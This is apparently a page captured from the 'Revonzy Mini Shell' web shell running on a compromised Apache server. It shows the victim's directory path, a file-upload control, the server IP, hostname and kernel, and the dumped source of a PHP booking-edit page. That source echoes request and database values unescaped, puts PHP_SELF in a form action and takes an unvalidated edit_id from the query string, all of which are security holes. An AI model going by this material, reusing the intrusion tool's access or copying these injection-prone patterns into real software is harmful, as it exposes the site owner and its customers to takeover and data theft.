Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/edit-booking-hall.php

<?php 
require_once('lib/functions.php');
$db	= new class_functions();

$flag = 0;

$res_edit_id = "";
if(isset($_GET['edit_id'])){
    $res_edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $res_edit_id;  
}

	$res_edit_id	 = $_SESSION['edit_id'];

if(isset($_POST['submit']))
	{
		$function_hall_id 	  			= $_POST['function_hall_id'];
		$hall_name 						= $_POST['hall_name'];
		$hall_type  					= $_POST['hall_type'];
		$booking_date_from  			= $_POST['booking_date_from'];
		$booking_date_to	  			= $_POST['booking_date_to'];
		$booking_for					= $_POST['booking_for'];
		$contact_name 	  				= $_POST['contact_name'];
		$mobile_no						= $_POST['mobile_no'];
		$address	  					= $_POST['address'];
		$total_amount				  	= $_POST['total_amount'];
		$status  						= $_POST['status'];
		
	

   if($db->update_event_booking($function_hall_id,$hall_name,$hall_type,$booking_date_from,$booking_date_to,$booking_for,$contact_name,$mobile_no,$address,$total_amount,$status,$res_edit_id))
   {
	   $flag =1;
   }
}

$users_data = array();
$users_data = $db->get_event_booking_from_id($res_edit_id);
//print_r($users_data);
if(!empty($users_data))
{
    			$res_id							= $users_data['id'];				         								
				$function_hall_id				= $users_data['function_hall_id'];			  					
				$hall_name 						= $users_data['hall_name'];				     				
				$var_hall_type					= $users_data['hall_type'];							
				$booking_date_from  			= $users_data['booking_date_from'];						
				$booking_date_to				= $users_data['booking_date_to'];							
				$booking_for					= $users_data['booking_for'];				        				
				$contact_name 					= $users_data['contact_name'];	
	            $mobile_no						= $users_data['mobile_no'];	
			    $address						= $users_data['address'];	
				$total_amount				  	= $users_data['total_amount'];	
				$var_status						= $users_data['status'];		
				$date							= $users_data['date'];				            							
				$time							= $users_data['time'];		
}

?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
   <Style>
		.user_measurement
		{
			margin:0px;
			padding :0px;
			font-Size:13px !important;
		}
		.user_measurement_div
		{
			margin:0px;
			padding :0px;
			margin-left :2px;
			margin-bottom :0px;
			display:inline-table;
		}
   </Style>
  </head>
  <body class="  ">

    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
			
				if($flag == 1)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Event Booking Update Record Saved Successfully</span>
					<button type="submit" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
				<script> 
				alert ("Record Updated Successfully");
				window.location = "booking-hall-report.php"
				</script>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h4 class="card-title mb-0">Edit Event Booking</h4>
                </div>
				
				        <div class="card-body">
					<div class="table-responsive">
                         <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                              <div class="row">
                                
								
								 
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
									<label class="form-label">Function Id</label>
                                    <select name="function_hall_id" class="form-control">	
                                          <option value="Select">Select</option>
                                              <?php
                                              $data = array();
                                              $data = $db->get_all_hall_names();
                                              $counter = 1;
                                              if(!empty($data))
                                              {
                                                foreach($data as $record)
                                                {
                                                  $res_id       = $record[0];
                                                  $afunction_hall_id = $record[1];      
                                             
                                        ?>
                                           <option value="<?php echo $res_id; ?>" <?php if($function_hall_id==$res_id){  ?> selected <?php } ?>><?php echo $afunction_hall_id; ?></option> 
										   <?php
                                                }
                                              }
                                            ?>
                    
                                          </select> 
                                    </div>
                                 </div>
								 
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                      <label for="full-name" class="form-label">Hall Name</label>
                                           <select name="hall_name" class="form-control" value="<?php echo $hall_name; ?>">	
                                          <option value="Select">Select</option>
                                              <?php
                                              $data = array();
                                              $data = $db->get_all_hall_names();
                                              $counter = 1;
                                              if(!empty($data))
                                              {
                                                foreach($data as $record)
                                                {
                                                  $res_id       = $record[0];
                                                  $ahall_name = $record[2];      
                                             
                                        ?>
                                          <option value="<?php echo $res_id; ?>" <?php if($hall_name==$res_id){  ?> selected <?php } ?>><?php echo $ahall_name; ?></option>
                                            <?php
                                                }
                                              }
                                            ?>
                    
                                          </select>
									   
                                    </div>
                                 </div>
					
								 
								 <div class="col-lg-2">
                                    <div class="form-group">
                                    <label class="form-label">Hall type</label>
                                   <select name="hall_type" class="form-control">
								
									   <option value="Select" <?php if($var_hall_type=="Select"){ ?> selected <?php } ?>>Select</option>
									   <option value="Ac" <?php if($var_hall_type=="Ac"){ ?> selected <?php } ?>>Ac</option>
									   <option value="Non-Ac" <?php if($var_hall_type=="Non-Ac"){ ?> selected <?php } ?>>Non-Ac</option>

                                    </select>
                                    </div>
                                 </div>	
								 <div class="col-lg-3">
                                    <div class="form-group">
                                      <label for="dob" class="form-label">Booking Date From</label>
									<input type="date" name="booking_date_from" value="<?php echo $booking_date_from;?>" class="form-control" id="dob" placeholder=" "  />
                                    </div>
                                 </div>
			                          <div class="col-lg-3">
                                    <div class="form-group">
                                      <label for="dob" class="form-label">Booking Date To</label>
									<input type="date" name="booking_date_to" value="<?php echo $booking_date_to;?>" class="form-control" id="dob" placeholder=" "  />
                                    </div>
                                 </div>
                                
								 
								  <div class="col-lg-3">
								<div class="form-group">
									<label for="dob" class="form-label">Booking For</label>
										  
										    <select name="booking_for" class="form-control" >	
                                          <option value="Select">Select</option>
                                              <?php
                                              $data = array();
                                              $data = $db->get_all_function_event();
                                              $counter = 1;
                                              if(!empty($data))
                                              {
                                                foreach($data as $record)
                                                {
                                                 echo $id       = $record[0];
                                                 echo $abooking_for = $record[2];      
                                             
                                        ?>
                                           	<option value="<?php echo $id; ?>" <?php if($booking_for==$id){  ?> selected <?php } ?>><?php echo $abooking_for; ?></option>
                                            <?php
                                                }
                                              }
                                            ?>
                    
                                          </select>
															</div>
					</div>
					<div class="col-lg-3">
						<div class="form-group">
						   <label for="age" class="form-label">Contact Name</label>
							<input type="text" name="contact_name" value="<?php echo $contact_name;?>" class="form-control" id="age" placeholder=" "  />
						</div>
					</div>


                                 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label for="city" class="form-label">Mobile No</label>
                                       <input type="number" name="mobile_no" value="<?php echo $mobile_no;?>"  class="form-control" id="city" placeholder=" "  />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label for="email" class="form-label">Address </label>
                                       <input type="text" name="address" value="<?php echo $address;?>" class="form-control" id="address" placeholder=" "  />
                                    </div>
                                 </div>
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                     <label for="email" class="form-label">Total Amount </label>
                                       <input type="text" name="total_amount" value="<?php echo $total_amount;?>" class="form-control" id="address" placeholder=" "  />
                                    </div>
                                 </div>
								<div class="col-lg-2">
                                    <div class="form-group">
                                    <label class="form-label">status</label>
                                   <select name="status" class="form-control">
								
									   <option value="Select" <?php if($var_status=="Select"){ ?> selected <?php } ?>>Select</option>
									   <option value="Completed" <?php if($var_status=="Completed"){ ?> selected <?php } ?>>Completed</option>
									   <option value="Pending" <?php if($var_status=="Pending"){ ?> selected <?php } ?>>Pending</option>

                                    </select>
                                    </div>
                                 </div>	
								
                              </div>
							  <div class="d-flex justify-content-center">
                                 <button type="submit" name="submit" class="btn btn-primary">Submit</button>
                              </div>
							</div>
						</form>
            </div>
        </div>
	</div>
</div>
</div>
    
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4